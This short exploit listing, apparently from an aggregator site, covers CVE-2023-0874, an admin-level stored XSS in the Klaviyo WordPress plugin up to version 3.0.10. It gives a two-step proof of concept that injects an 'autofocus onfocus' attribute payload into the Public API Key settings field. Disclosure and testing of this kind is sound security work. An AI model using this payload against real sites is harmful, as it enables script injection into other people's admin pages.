Exploit for Klaviyo <= 3.0.10 - Admin+ Stored XSS CVE-2023-0874

Name: Exploit for Klaviyo <= 3.0.10 - Admin+ Stored XSS CVE-2023-0874
Rating: 5 (99 reviews)

2023-03-20 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:495E39DB-793D-454B-9EF1-DD91CAE2C49B
1. Go to Klaviyo Settings, and at Klaviyo Settings in thePublic API Key field, put: "autofocus onfocus=alert(1)//
2. Submit and the alert will trigger.